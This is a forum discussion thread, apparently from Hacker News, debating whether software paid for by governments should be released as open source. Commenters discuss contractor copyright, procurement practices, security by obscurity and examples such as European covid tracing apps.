The state I lived in developed one of those covid tracking apps. I asked for the source code and was told it wasn't available and would never be. I talked to people working on other software developed for the state and they all think that software shouldn't be public.
It seems crazy to me that taxpayers pay for this software but it doesn't belong to them.
Knowing what I do know I gotta wonder if it's just about those developers being ashamed how bad their software is and don't want others to see it.
I was tangentially related to the covid app stuff so I can offer some insight there: most of those apps weren't built by the state. Google provided an open-source "base app" that could be customized by the states, but most states hired third-party contractors to build an app for them.
I've worked in public sector and this is typical. the states can't open source it because they don't own it, they just pay a third-party to build+operate it for them. This is touted as "small govt", but it really just makes things less efficient. The total number of people involved stays the same.
If I commissioned Adobe Software to write a program, from scratch, that I specifically state I will own all rights to the program and source code itself, then I would fully expect to license it how I want.
We are not talking about a single consumer. We are talking about the state itself. They will get the license they want if they believe it is needed.
Ironically the state is a single consumer and they ever sell only one copy of the program, so business case for proprietary software doesn't exist at all.
of course. But this idea assumes that the contractors are selling the same software to multiple agents. Is that really the case?
Or are the agents already charging the maximum they could for the software, and yet, retain the rights themselves in the hopes of whiteboxing this software in the future for some other gov't agency?
> Sounds to me like there are deep corruption problems
I consider this to be a flavor of corruption, too, but it isn't, legally. It is the desired outcome for many, and for many more, maybe not the outcome they wanted, but the logical outcome of what they asked for.
There has been a decades-long process in the US of pressuring governments to do less, to outsource more, to privatize, to move to "public-private partnerships" or whatever new buzzword means socialize losses and privatize profits.
And this is what you get - government that doesn't have the capabilities it needs to do what people ask of it. Which makes it look bad, which encourages another cycle of privatization...
If you want functional government, stop electing people who promise to break it.
I don't see what corruption has to do with it. I'm a subcontractor and usually the contractual terms are dictated by my clients. If I get the chance however, I put forth my terms and these say that I'm the author of the code and thus the copyright holder.
When I've done freelance work and have been able to write the contract, I include a clause that the client receives "a perpetual, worldwide, non-exclusive, royalty-free, irrevocable license to reproduce, prepare derivative works of, publicly display, publicly perform, and distribute the work and such derivative works, and to sublicense any or all of the foregoing rights to third parties," effectively giving them unlimited rights to use my code how they please while still retaining my own copyright.
It's a good idea so you don't need to worry about accidentally copying some code from one project to another. If you weren't the owner, they could theoretically come after you for copyright violation.
This. I always make sure both sides share in the full rights to the work. Regardless of whether I am the one doing the programming or the one paying for it.
Public sector usually makes up the rules for itself and then upholds them in the software. Very little public sector software could be resold in the private sector without significant investment into making it more general, usually to the detriment of the product. The "multiple clients => lower price" thus holds no water, because it's always just different branches of government and the usual way it ends up is that after 10 years or so the product is still used in one place only and the original programmers long left the company. And public still pays for a yearly license.
Of course. I have some experience(though old and long ago) with communal and governmental ICT operations. But also "the other side" :-) We have a saying here which goes like Government money is stupid money, meaning the government is stupid and pays anything. Then you close shop, and start another. For another round of stupid government money. And it doesn't even blink if it sees your name again, why should it? It's another business entity.
From what I hear it has changed just a little bit, not much, though. It also depends on state and town.
Speaking for .de and North-Rhine-Westfalia from 1994 to 2001 here.
Have you ever purchases software? Any media, recorded performance, or book?
I don't mean to be rude here, but this question shows a complete lack of awareness of the problem space.
There are a number of contributing factors to why most government software is not open source, but here are some of my direct observations as a consultant to government departments, an employee of government departments, a purchaser of products and services at multiple corporations, and a manager of contract software development as an employee of a corporation, and the owner of small business.
1. Stakeholders building software, using either directly employed, or contracted resources, have a desire to develop the software for the lowest cost possible. Generally this means preferring buying over building for many cases, and building on commercial (paid, free, or open source) stacks that promise easier development and efficiency. This often results the project being encumbered by licenses that complicate the potential release of software as open source.
2. Many government initiated software development projects are done directly in pursuit of supporting legislation that is tightly bound to the jurisdiction of the legislation; even if the legislation is meant to ratify state/provincial, federal, international or other standards, laws, and regulations, there will be regional variations that require at minimum configuration, and most likely real code changes to meet requirements. This often results in software that is tightly coupled to a particular jurisdiction in terms of both legislation and regulations, but also in terms of the ecosystem the software is developed in. The encumbrances created by these couplings often have dependencies on closed and proprietary systems which is a great deal of friction for releasing open source projects.
3. Despite the passage of many international rules related to economic development agreements like the former NAFTA and the newer USMCA which provide provisions to allow fair competition for government contracts within the regions affected (and I believe EU and other trade blocs have similar legislation), the opportunity to award software development contracts to local firms (at any level of locality across municipal, state, and federal jurisdictions) is a strong temptation for politicians to curry favor with voters and business communities. This is often pitched as economic benefits by creating jobs locally, while bolstering local businesses and making them more competitive; if these projects are subsequently released as open source projects, the perception from decision makers is that the value of the investment in the local community is lost. This is where a significant opportunity for what you bill as corruption is identified - I haven't seen a procurement process in government that can't be subverted by suitably motivated buyers and sellers.
4. Releasing open source software can be a public relations nightmare - bug reports, public review and criticism of design or implementation choices generally land on the desks of whatever passes for a service desk for that jurisdiction, who are usually ill equipped to deal with these technical issues, and also are generally understaffed for their core responsibilities. Eventually those reports and criticisms make their way up through different paths and land on the desk of high level bureaucrats and elected officials, who then have to deal with these issues as public relations items. Have to deal with HeartBleed2022? If it's internally developed and open source, the buck stops with the politicians and how they let it happen, time for a public inquiry! If it's an off the shelf product, "We are disabling the service until a patch becomes available." [1, specifically log4j] , and people can grumble about purchasing choices, but it's much harder to criticize the actual implementation.
Alot of folks in government (including me when I was there) wanted to release our stuff as OSS, but there is only so far you can go with opensourcing modules that depend on SAP code, IBM code, or systems that are supplied by the federal government.
I have read your long comment and I'm less than convinced by any of your arguments.
Specifically, I would say that number three is mostly false. The companies that receive those contracts are not, at least in my experience, small local shops (and there is an argument that they should be), but instead big consulting companies that know the correct people and procedures.
>>"Alot of folks in government (including me when I was there) wanted to release our stuff as OSS, but there is only so far you can go with opensourcing modules that depend on SAP code, IBM code, or systems that are supplied by the federal government"
The point of the endeavor is precisely to change that.
> Specifically, I would say that number three is mostly false. The companies that receive those contracts are not, at least in my experience, small local shops (and there is an argument that they should be), but instead big consulting companies that know the correct people and procedures.
Define small local shops? I have worked on procurement processes in the United States at the municipal, state, and federal level, but my experience is largely based in the Canadian market. These are companies that have 100-1000 employees, working on technologies tightly scoped to specific municipal, state/provincial programs, and in some cases Federal programs. Some industries include prisons, agricultural programs, energy programs (hydro-electric, oil, gas, nuclear), and a broad cross section of infrastructure projects.
You can disagree or be unconvinced, but even a basic google search highlights the significant issues with procurement, and the fact that we have old and current laws on the books to address these concerns is evidence enough that procurement practices and influence from politicians and industry need regulation.
Simply put, procurement is about finding the right proposition for governments, and demonstrating to taxpayers that they are getting best value, while rewarding the individuals and industries that supported the elected officials and beaurocrats. This isn't a personal opinion, it's well supported by documentation in the industry.
> The point of the endeavor is precisely to change that.
I 100% agree, and I avidly support these kinds of initiatives; my comment didn't discount that, it was an explanation of why public code, developed internally, or by contractors, isn't necessarily suitable for open source release. Not all of the reasons are technical or legal, some are due to organizational or social pressure.
Small government doesn’t have anything to do with outsourcing functions. Small government is about not doing those things to begin with.
There is definitely a case to be made for a government, big or small, tracking a pandemic. I’m not arguing it shouldn’t. Outsourcing that function to a contractor, however, does not “shrink” the role of government.
Uhhh the Italian app wasn't developed by the state either, but the government acquired and open-sourced most (all?) of the code [1]. It's not that hard really.
Contract software development is nearly always work-for-hire. To not own the result of what is in common practice work-for-hire is terrible contract management. Imagine a road paving company claiming the state doesn't own the road they just paved.
Government outsourcing is the new patronage. And it has the advantage that you can focus the benefits directly to your powerful supporters and from the contractor's side, it gives them a line into government funding that doesn't get cut off as easily if their guy gets voted out as old-style patronage jobs did.
The problem is that most people confuse „small government“ with „small society“. I want the smallest government possible, but strong institutions outside of the governments direct controls and even stronger individuals. Open sourcing governmental software makes the government smaller compared to private institutions and individuals, because it puts them in the position to criticize the gov and compete with it in a meritocratic way.
> This is touted as "small govt", but it really just makes things less efficient. The total number of people involved stays the same.
Maybe I'm reading this wrong, but are you suggesting big government is more efficient than small government? If so I wonder if there are some good examples of that, because previously I wasn't aware anyone would ever argue that could be the case.
In this case, yes the OPs argument is "small" gvt is less efficient.
Except what the OP considers small government isn't actually small government.
As far as efficiency goes. It depends. If you are a business you can do something in house or outsource it. Which is more efficient? If what needs to be done is a one of thing and neither party has the expertise then out sourcing is less efficient. As the amount of work that needs to be done is the same plus there is the additional overhead of the contract. The thing is, there was other variables that come into play, so it is difficult to say which way is better.
But small vs big government isn't really about the number of employees but rather what the government does.
right, this is what I meant. Running a covid tracing app requires a certain number of people. Splitting those people into "govt employees" and "contractors" doesn't reduce the number of people involved, it just adds an arbitrary boundary between them, which hinders their efficiency.
> Splitting those people into "govt employees" and "contractors" doesn't reduce the number of people involved.
It increases it, because (even optimally) you need the same number of people doing the main work, and as supervisors, HR support, etc., for the main workers, plus you have additional contracting and contract management overhead on both sides.
Small government has always been about business being able to make money doing outsourced big gov tasks. Look at who seeded that debate, it's big capital funded thinktanks.
My most recent job was for a local government, and even though I made a push for open sourcing our code, I never made much headway. Plus, literally all of the other devs on my team repeatedly committed secure credentials to git no matter how many times I tried to teach them how to use a .gitignore file, so it could have been a bit disastrous if my efforts had actually made any headway
> Plus, literally all of the other devs on my team repeatedly committed secure credentials to git no matter how many times I tried to teach them how to use a .gitignore file
Why do they even need to have access to production secure credentials during development? Why not let them fall into the "pit of success" so local development never talks to a production server anywhere?
>Why do they even need to have access to production secure credentials during development? Why not let them fall into the "pit of success" so local development never talks to a production server anywhere?
Because most local governments are 10 to 20 years behind on anything remotely approaching best practices. It wasn't my choice to run things that way.
If it's hard enough for to tech companies to hire skilled developers, I can only imagine what the bar is for public work. They might even resort to hire some brain damaged people.
Here in Australia, only citizens can work for the Commonwealth (federal) government. The end result is that, due to a lack of competition from immigrants, the public sector is basically just a jobs program for those too incompetent to work in the private sector.
I'm not surprised. Even great devs sometimes slip up and when you have enough people, someone is always slipping up. The only real solution IMO is to have safeguards in place like credential scanning (ideally both locally and on the server). It's not foolproof, but it can help avoid or minimize a lot of incidents.
It was expensive (18 million Euros I believe, but may be wrong). But other than that, it was excellent from start to finish. First release a few weeks after the API was available. The source was divided into logical components of more or less perfect size, it was straightforward, well commented, responsive to PRs, worked, and had no security issues as far as I remember.
And there is even a fork on F-Droid that works without google framework only requiring microg, working on older devices, and having some minor additional features: https://f-droid.org/packages/de.corona.tracing/
I've worked on some government projects (currently working on one), and we always try to open source everything we can. For instance, CMS has a lot of open source repos in their github org (https://github.com/CMSgov).
The mentality is changing in govtech and there are lots of orgs really trying to push for better software practices. It can be a slog though.
From a very experienced FOIA litigator, most of the time your FOIA request will be denied and then you'll have to sue to get the records. Typical time for these cases is 2-4 years of court appearances in trial court, then another 2 years in appellate court to get a favorable decision.
A buddy of mine just won one that finally set the precedent that database schemas are not security:
I work in government (partially improving our use and creation of free and open source software) and I think there are a few different psychologies:
1) there are people who understand f/oss. Sometimes they are in power and choose it for the projects they oversee. This is small, but growing slowly.
2) there are people who don’t understand and the default is to do what their contractor says. This is huge and probably stable.
3) there are people who understand and don’t like it because of the lack of formal support and the chaos and perceived unpredictability. This is the “buy Microsoft/IBM and they will support you” group. This is large but shrinking a little.
4) there are contractors who don’t want the risk to their contracts being renewed from competitors seeing their code and being able to support. Obviously no feds in this group, but lots of feds are influenced by their contractor and take on their position. This irks me the most because its acting in the contractors benefit to the government’s detriment. I don’t understand how people in oversight positions take this position in good faith.
5) there are contractors who have IP and want to resell or reconfigure for multiple clients and would raise their bid price if they had to release under f/oss. Again, not feds, but this is a perceived fear of people with set budgets who want to get best value and their incumbent contractors are saying it’s more expensive if they have to do f/oss.
I’m probably missing some of the tech workers. But I think the biggest blocker is contractors as probably 95% of actual hands on work is done by contractors. Some perpetual who have been in place for decades. Even when the companies change, the individuals stay the same.
Open sourcing code safely also isn’t free. So unless something was developed in the open from the outset, I doubt it ever will become open source (unless mandated by law).
I’m having trouble understanding why anybody would expect that to be the case.
I have, for example, built things for government in the past. They paid for some code that I wrote and now they can use it as they like. But, (as with any client), they don’t have the right to turn around and give it to you.
If you want that code, I’m happy to sell it to you. But, again, you’re not allowed to sell it on or give it away.
I'm not understanding what you said, do you mean you had built the code before and you licensed it to the government, or in the contract you wrote to the government you specified that you owned the code that you were delivering, every time I've written code for people who've paid me on a project basis they can do what they want with the code afterwards, including give it away.
You could certainly ask for the right to redistribute the code when we were negotiating the contract. But that would get you a much larger quote since now you wouldn’t just be buying the software, you’d also have to be paying for every potential future sale of something similar.
I can’t imagine that the government (or anybody really) would do that.
I suppose it depends on the market. I have been involved in a number of contracts to develop bespoke software for big private sector companies. Twenty years ago they were happy to just buy usage rights, but since then the customers have grown wiser to their leverage and keep insisting that if they pay for the development work, they get to keep the rights to the results. It's different if the vendor already has IP that can be licensed to the customer to substantially reduce the development cost of the bespoke solution.
This is the kind of issue that causes all that government bloat...
If I was a state employee and I wrote the app, and I had to release the source code, then I'm making it very easy for a bad actor to find a vulnerability and exploit it to leak the data of citizens.
One might respond: "Well software shouldn't have those holes! Just because it's closed source, doesn't mean that won't happen anyway
Also true, in an ideal world, the software should be free from such vulnerabilities.
However security by obscurity is a layer of defense... And there might be other controls in place too to help.. e.g. a git repo behind SSO...
If I accidentally check in a CSV of a data dump, or my access Keys, etc... It doesn't immediately become a data leak/issue.. I have at least some time to reconcile that.. but if the repo is publicly accessible, the moment it hits the wire someone can copy that data...
One might follow up: "Well, they should not make the code if they are not competent enough to write it and host it"
Would be nice as well! But sadly there is only so many developers that can do this kind of work with a very high level of security and competence... By requiring governments to make this code freely available, you could basically assume two outcomes: nothing the government has on you will be secret, including sealed records and private information. In addition, IT workers would be paid 7-figures with 5-10 years of experience, as every government project that touches software now needs 5+ highly trained workers to avoid gigantic lawsuits.. and no one could get an entry level job in government because one bad commit could cause an 8-figure lawsuit
And just to throw in a silly extrapolation... I would love an M109 Paladin tank... my tax dollars pay for them :-)
> And just to throw in a silly extrapolation... I would love an M109 Paladin tank... my tax dollars pay for them :-)
If they give you a tank they have one less tank to do stuff with but if they give you a copy of software they still have the ability to do stuff with the software.
There’s a whole bunch of software out there that has been open sourced by government agencies like nasa and you don’t see satellites falling out of the sky on a regular basis.
I'm not in software so maybe my viewpoint is just different but I also wouldn't expect NASA to give me the mechanical blueprints for a rocket, or even a concrete launch pad nor would I expect the local government to give me the the electrical schematics for the stop light systems, even though doing so would in no way prevent them from continuing to use these systems/items
Honestly, why not? It's quite likely there has been a decent amount of information passing back and forth between NASA and various private space companies - there isn't a sane reason to require everyone to make the same mistakes that you've already learned from. Additionally while releasing rocket specifications probably won't result in any at-scale replicas it's a good way to feed the hobbiest community and possibly get some neat ideas back.
There are some components of rocketry that deserve careful consideration in sharing (i.e. rocket fuels) but a lot of those have mostly leaked at this point and the government has other reasons to limit their production and thus limits the supply of chemical components.
Much like with software there are going to be some secret components related to communication and the like - but those can be cherry picked from the information and deliberately hidden... similar to how most software teams don't check all their private SSH keys into public repos (usually).
I agree with you and would love more "real world" things to be open source. I do like the ethos within software/tech that things are open-sourced often. It doesn't exist to nearly the same degree in many other "physical world" type industries.
I think government/ bureaucracy moves slowly and most people working within them don't come from a software background so a lot of the older norms of not sharing things (outside of things like data/documents) is just the way things are done. I expect to a lot of these people sharing a source code is treated exactly the same as sharing any other mechanical designs which they just often don't do.
I expect the rocket plans. Why the fuck wouldn't you expect the rocket plans? Unfortunately, letting companies own plans they were contracted to develop is actually a form of payment to those companies. GE's entire best-in-class commercial jet engine line was built from military blueprints they own and control but who's design was fully funded by the American people. This is bragged about openly within the company.
Elon had to go to Russia to get rocket plans. We have truly dropped the ball on this.
> However security by obscurity is a layer of defense...
In your example it would be the layer of defense. But then we still have to wonder who is the attacker? The assumption made on the web page is that the developer is the attacker. The obscurity then becomes a major issue rather than the defense.
Yes, we will have to pay what it costs and we will have to add extra developers. We all know the difference?
I could write any government app or software but it would be a slow process, it would be hostile to further development and the security of it would be laughable. But from the GUI you wouldn't notice the difference. Mine might actually be nicer.
I didn't explain possible attack vectors because it depends what the vulnerable code exploit does.. does it dump ENVs, and you have a secret there? Does it leak DB credentials? If it's infrastructure code, does it tell someone what IP addresses can attempt SSH?
I hoped by saying "a layer of defense" indicated that there was more layers
The price increase required by the higher quality of software is roughly a fixed factor. The benefits that come from code reuse are exponential.
If a government can't afford to release the sources in public right away, a gradual transition is possible: vendors that offer open source software have their prices multiplied by 0.1 during bidding. And this factor of preference for open source can be increased or decreased state-wide depending on the budget.
This was the proposed scenario that the GP put forward:
> If I was a state employee and I wrote the app, and I had to release the source code, then I'm making it very easy for a bad actor to find a vulnerability and exploit it to leak the data of citizens.
Which doesn't seem to suggest any mitigation other than the lack of published source code.
My post was already very long, didn't want to tangent into possible defenses which depend heavily on what exactly is in the code base...
Using log4jail as a recent example, I had a code base vulnerable to this attack, but it would not be expected that the application used a vulnerable version (we forked the popular code base), and it only was vulnerable in a specific way (which, to this day, no one has attempted to explot, as I have an alarm set up if that kind of input comes in in logs, and previously had the block at the WAF when we were vulnerable for the 4 hours it took to fix the issue.
Security by obscurity is not I good defense, it's a single layer, which buys you time. You need to have multiple layers of defense, and closed source might buy your team time to fix issues.. or make it viable to release the application while a third party takes a year on a security audit.
> If I was a state employee and I wrote the app, and I had to release the source code, then I'm making it very easy for a bad actor to find a vulnerability and exploit it to leak the data of citizens.
I have spent a lot of time in public sector IT and I’ve rarely seen a management or information security team that didn't subscribe to this kind of security through obscurity thinking for internal code,
including the management teams that were completely behind using open source code for cost, robustness, and avoiding vendor risk.
I find it bizarre that anyone familiar with software development would think this is a good idea.
I mean if gov't creates a useful API (eg. weather), or creates some reusable useful module (eg. something like hibernate), that would be nice. But, just generally publishing everything? REALLY BAD IDEA.
Large consulting companies like Accenture have entire divisions of their business devoted to "government". These divisions make money by developing software for governments. It is very much against their interest for this software to be open source because 1) there is visibility into their performance and 2) they can't sell very similar software to the same government if everyone knows what software they've already built.
These are the real vested interests preventing this code becoming open source and why lots of government agencies who do their own development are perfectly happy to release the code or access to their APIs.
> These are the real vested interests preventing this code becoming open source
Absolutely.
They are not going to do this by asking them nicely. That is why it must become the law. Software developed for public money must be released under a recognised open source licence.
It's not the case for all consultancies though.
The company I work for (much smaller than Accenture) does solely government contracting work and the majority of that code is open source.
Every project I have personally been involved with for example has been open source.
One reason why government software development is separated from contract development work for private sector clients is that private sector clients understand that they own the results and can disclose that code if they want to. They are relying on bamboozling government clients. All the more reason for struct laws about disclosure of software developed for governments.
You just told me more about what Accenture does than I got from poking around their content-free website when a HR person from there reached out to me unprompted. At the, I figured that if they claim to be in seemingly every industry, but can't articulate what they do, it wasn't worth replying.
A few years ago, I did a consulting for an IT agency and had insight into their code, including some projects done for the government. It was a worst mess of spaghetti code I've ever seen. For one of those projects they've hired people without any or little experience for cheap, and sold them as seniors for a crazy price.
I've often wondered if we need to radically change the State's relationship with the software it produces. As Robert Lessig famously observed, "code is law" in a world controlled by computers. There is increasingly a strong argument I feel in States directly employing software engineers much like they typically employ armies of civil servants to implement policy.
Why is software treated as something to be outsourced to a private sector company? Why can't we have "civil programmers" who contribute to an ever growing body of public code just as the legislative process contributes to an ever growing body of laws. This body of civil programmers (terrible name but hey) could also work hand in hand with the open source community, letting stakeholders (citizens) contribute too.
Code is only half of the problem here. The other half is operations. Applications don't just run on their own; they need deployment, maintenance, backup, recovery, new feature requests, etc. etc.
Unlike the majority of infrastructure in the world, software literally isn't set in stone. This makes it much more powerful in some senses, but also much more fragile.
Look at Hoover Dam - a project designed to last a hundred years with a pretty singular purpose. The operation and maintenance burden is clear, and basically unchanging throughout the lifetime of the dam.
I agree with you in general here, but I think the actual work involved with your proposal is more akin to what the IT departments at agencies like the IRS or DMV are already doing. Specing systems for internal processes, and managing dataflow from old systems to new ones.
Mainly because the government has no expertise in the area, so you have to convince politicians (who have no expertise in the area) that it is important, against those who DO have funding and will fight it as being "insecure" and various other buzzwords.
Governments often don't even employ the armies of civil servants anymore, lots and lots of stuff is contracted out.
The way around this might be to convince some of the smaller "tech wannabe" states to enact something, and let it grow from there.
I think it's mainly because of money? Sure if there were any existing public open source infrastructure people would be more willing to contribute for free.
I think this brings the open source developers income issue to the table which is getting better but at its own pace.
> "code is law" ... Why is software treated as something to be outsourced to a private sector company?
Don't worry, many governments effectively outsource legislation to commercial lobbying bodies who feed draft and proposals to parliamentarians.
Prominent example: The American Legislative Exchange Council, which even formalizes this practice.
Why can't we have "civil programmers" who contribute to an ever growing body of public code just as the legislative process contributes to an ever growing body of laws. This body of civil programmers (terrible name but hey) could also work hand in hand with the open source community, letting stakeholders (citizens) contribute too.
> Why is software treated as something to be outsourced to a private sector company?
At least in America, one political party is devoted to outsourcing everything to the private sector, including prisons!
In the UK, at least one political party is trying to privatize and outsource everything. The succeeded with all the commuter rail in the 80s and now they want to do the same to the NHS.
Long story short, there is a lot of money to be made.
Funny story about CDCgov. Probably the most common question we get is “you should use CDC instead of CDCgov.”
Someone else has @CDC as they got there first. They aren’t active so CDC tried to get in touch with them and GitHub doesn’t provide a way to contact people. That’s kind of nice actually, they respect privacy.
GitHub did offer to contact the user without sharing the users contact info. They asked if @CDC was active and if not, would they mind letting CDC.gov use it. The user responded that they are active, just not with public activity. And that they would like to keep it.
I thought the whole process was pretty nice. Github respected the user, and still tried to help. User considered and didn’t change their existing account.
Some people got upset and tried to formulate plans to “make” the user give it up, but those weren’t pursued because it would be wrong and a waste of efforts and, I think, harmful to the purpose for collaborative software.
So that’s how CDCgov exists. And I suspect there’s a similar story behind CMSgov and all the other sites where staff were too slow to set stuff up.
And GSA keeps a list, sort of, of all the US gov projects at code.gsa.gov. But the code activity got defunded a year or two ago and no longer updates a consolidated catalog and now just points to all the various departments.
While I generally agree, publishing code commonly requires additional effort and diligence, such as checking the licensing situation of third-party code used, possibly anonymizing the devs involved, maintaining the public repository and credentials, dealing with all the communication from the public caused by publishing the code, and so on.
Hence it also increases the cost for the taxpayers, and that needs to be factored into the cost estimates of software projects. It’s not like they can just dump their git repository into alt.binaries.
How so? Because of external contributors? Most software developed for the public sector is quite use-case specific (and the use-cases are often quite boring), so I don’t see that happening for most projects.
Once a workflow is adopted, it becomes normal and the hassles start to go away. That 3rd party library with an incompatible license now has a good alternative, code re-use is higher, handing off to new developers is easier, and identifying development teams that are highly inefficient (or incompetent) becomes possible.
I feel like there's too many benefits to even list. Having seen some of the proprietary code developed for 3 letter agencies, it's shocking how bad some of it is (and there's even projects that have better open source alternatives that solve every use-case) and adding transparency can only be a good thing... in my opinion.
In my experience, that doesn’t happen much even between projects within a single software company, because requirements are too diverse and change too frequently. Pushing for synergies also tends to create all sorts of internal political dynamics. At best it’s a long shot, with high risk of not amortizing the cost. The rest of the world, including the open-source world, also isn’t a promising role model, with the constant churn, fragmentation and evolution of languages, frameworks, libraries and tooling.
Yeah, I suspect most people are thinking "government code" is like Chrome or something, whereas most government code; most business code, hell, most code in the world is random business logic/glue code which often doesn't have much portability or usefulness.
Consider maintenance costs over the following decades. If the software is owned by the vendor, they can ask the highest price they can get away with, and the customer (government in this case) has no option but to pay it. Of course they also have the option of stopping maintenance, or switching to another solution, but those are very expensive alternatives.
However, if the software is open source, or alternatively owned by the government, than they can ask for competitive bids for maintenance. The vendor can no longer ask huge sums for basic maintenance. The projected savings can even justify significantly higher costs at the development stage.
Any public money should bind the recipient to following public laws that govern government, including access to information. Don't like it as a corporation? Don't take public money.
Many States in the USA have implemented a "track-and-trace" program for their cannabis. The States use this information for enforcement. These programs have many bugs -- observable/repeatable bugs. Then enforcement uses the data from the buggy software to cite businesses for failures of their "track-and-trace" requirements. (eg: the system magically restores weight to zero-weight lots, or marks dead trees as alive).
In Washington State they started with BioTrackTHC; couldn't share the code cause it's a proprietary and a security risk; however they were dumping parts of the database as CSVs so folk could check that (and confirm some bugs!). Then WA switched to LeafData (MJ Freeway) and wouldn't share that code either; continued to share similar data-dumps. Now WA has moved to just uploading CSVs to the State system in code they wrote themselves -- and still won't share the code (and now are doing even less to share the data).
It's frustrating when viable open source solutions exist and are actively ignored by the State agencies (we were blocked from even participating in workgroups about the future of T&T (which don't really matter, they didn't even follow the recommendations of their own workgroups))
Im currently working as a software architect for the government. The software we are developing is not beneficial to any citizen.
Additionally, there is no staff to review and merge improvements. And merges need to get tested by regression as well, so bringing it to production would be cumberstone.
Nonetheless, if we use another piece of software, we are preferring solutions where the code is open sourced. There needs to be enterprise support, though.
And most of our colleagues are also pushing to pay our consultancies to improve these pieces of software.
Our use cases with these solutions are kind of essential, so there are no possibilties to "give back".
Any federal agency is supposed to cover one aspect of the government services. Developing individual software, which cover national laws.
Also note that our software is almost 90% legacy code. And new solutions need to work around these quirks.
Italian Digital public administration code (CAD - Codice amministrazione digitale, art. 68 and 69) requires software created with public money to be open sourced and made accessible for reuse by everyone.
https://developers.italia.it/en/reuse
Formerly it was accessible only to other public administrations. That provision didn't generate any meaningful outcomes as it was not avalable to other developers, just to public administrations in-house developers. With the last reform of the CAD in 2016, it was open to everyone and development of digital public services accelerated.
This would be a perfect motto for property tax assessments. It is ridiculous that no one has any idea if the value of their home is inflated/deflated by software or reflects a consistent correlation with a measurable value.
My county purchased a service that automatically estimated values. It was a black box to them. During my appeal, they weren’t able to describe how it chose to raise property assessments on which properties as it wasn’t done on every house. They wouldn’t even reveal the vendor. They were getting a ton of appeals because they switched from a manual, poorly coordinated process to an automated process powered by a third party.
It was very frustrating because the citizen review board accepted the appraiser’s number even though they couldn’t describe the methods and even though I brought dozens of comps showing a lower price and valuation of actual sales. They fixated on the number that the software produced.
I think if software should be used like this it needs to be auditable and at least source available, if not foss.
I know of several situations where entrepreneurs in europe put substantial money on the table in projects which were funded by grants from the government. It would be really bad for entrepreneurship in europe if it would be required to make software open source the moment some grant money is involved. Let's imagine you spend 500K of your savings, and the government gives you a 50K grant. Now you need to open source your software, and your competitors can run off with your 500K investment! the grant money offsets the insanely high taxes and should be no strings attached to stimulate entrepreneurship.
This doesn't require open source for everything that receive a grant. The text of the open letter is “Implement legislation requiring that publicly financed software developed for the public sector be made publicly available under a Free and Open Source Software licence.”
It's more like if the tax office build a software to compute taxes, you can use it to compute your taxes, add a simplified a gui for basic users or incorporate it in your ERP.
I can’t tell based on the information on the site, but there may be some nuance to the threshold where this becomes a requirement. I imagine it will not be an all or nothing situation, but I am not sure ultimately.
Also, if there was a bunch of public code available because of grant funding, that means - in theory - many people might not have to invest their own money (or quite as much) because there is more out there they can use due to this law.
Ultimately it boils down to the language of the law and the I social scenario.
ah yes, in good european fashion, there will be all kinds of complicated and time consuming rules and processes. that is what the countries in the EU and the commission do best. make it nearly impossible for small bootstrapped companies to be competitive and get their shit done.
and if I as an entrepreneur put money into something, I expect to own it. even if a grant was involved. after all, I already paid taxes to make those grants possible in the first place.
Frankly it sounds like you're prematurely grinding your axe. We don't have enough details to really form an opinion like that. As a fellow entrepreneur I am excited at the idea of more open collaboration/resources for people writing code. Hell imagine a world without GitHub.
Suppose you are on a committee where you are evaluating 3 different offers to build a website for your city. Bid A is for $10m, Bid B is for $9.5m, and Bid C is for $9m. The company that made offer B knows that they will likely lose the contract so they counter. "If you let us keep the source code and it remains private, we will bid $8.5m for the contract". Since all three vendors are offering equivalent service, and vendor B is offering a hefty $500,000 discount, how can you reasonably spend far more or your city's money? That money could have gone to improve schools or roads or make more competitive offers for city employees. How can you justify spending a half million more on software principle when there are other more pressing needs?
Expecting software to be open source is nice when there is an army of 10s of thousands of FAANG employees to constantly keep it up to date, but less so when there's limited people. Sure, it hypothetically could be kept up to date by the generous and capable people of the city after the fact, but that's farfetched. It isn't realistic or practical for a budget-conscious software company to open them selves up to scrutiny, participate in the open source community, accept bug fixes, do code reviews from strangers, etc. It's more expensive to do OSS, not less.
(As an example, the Linux Kernel is mainly made by large companies with lots of expensive employees. Pick your 10 favorite GitHub project with more than 10k stars and see who the primary contributors are.)
Just because code is released as open source doesn't mean you have any obligation to deal with feedback or PR's. You can throw it on a git hosting site and forget about it. You could gzip the entire source directory and throw it into an s3 bucket. You could burn it onto a CD and have it be available by mail-in request only with a fee for shipping.
> Expecting software to be open source is nice when there is an army of 10s of thousands of FAANG employees to constantly keep it up to date, but less so when there's limited people.
And being closed source makes keeping software up to date easier?
The website is asking for "legislation requiring that publicly financed software developed for the public sector be made publicly available under a Free and Open Source Software licence." So in response to your example of a company bidding lower for closed-source rights, you would just deny the illegal request. Same as if a company offering to construct a bridge was undercutting other contractors on the condition they be allowed to ignore certain expensive safety requirements.
> How can you justify spending a half million more on software principle when there are other more pressing needs?
if those other pressing needs are so pressing why aren't they looked into already, and is only mentioned when a tender offer is on the table?
The gov't ought to consider each individual need individually and budget it individually.
As for the company B offering 8.5m for keeping the source code private, i would argue that they are getting a better deal out of the gov't than the gov't is receiving.
Imagine if the company B can resell the software for money to another govt. This means the initial gov't paid for the research and development of the software, but the company B is reaping the benefits - all for paying a measly $500k. If the software can sell for more than $500k to the 2nd customer, they'd have made pure profit.
Therefore, the gov't who initially paid to do the R&D should actually own an equity stake in the software if it is to remain private. After all, the taxpayer funded the risk of R&D, and should partake the benefits of that risk.
Well, making it open source is not the same as making regular citizens/programmers to work on it.
You still pay the company to develop and maintain the software. Same way as open source developers get "sponsored". The reason is that anyone who wants to see the code and suggest on how to make it better, or to report a bug, then that would be possible. Furthermore, that work can be reused by other parts of the government.
That last point is why some companies wouldn't want to do it, or would charge more. However, to your point, I think the increased cost is worth it in this case.
Sure, there are going to be less better roads/schools by 500k, but the problem with that money is that there are rarely big projects for that amount, so it's not like they would be put to best use without being "lost" in the process of relocation.
> Pick your 10 favorite GitHub project with more than 10k stars and see who the primary contributors are.
Hugging Face transformers has >60k stars and fewer than 30 employed maintainers, many sharing other responsibilities. Arguably, part its success comes external model contributions from FAANG companies (among others), but the key ingredient was the creation of an open platform.
This is not possible as the requirement either forces OSS or doesn’t. Bidders can’t alter the requirements without the contract changing and everyone rebidding.
Imagine a contract for a road that requires maintenance and the 9.5M bidder offers to lower by a million if they don’t provide maintenance.
I'm wondering. If the govt pays you to build software, and you use include proprietary libraries in order to build a custom solution, so that the solution is owned by the government, should you open source everything incl. the proprietary components? I get the feeling that is what contractors are trying to avoid so they can keep their competitive advantages. That and hiding horrible code.
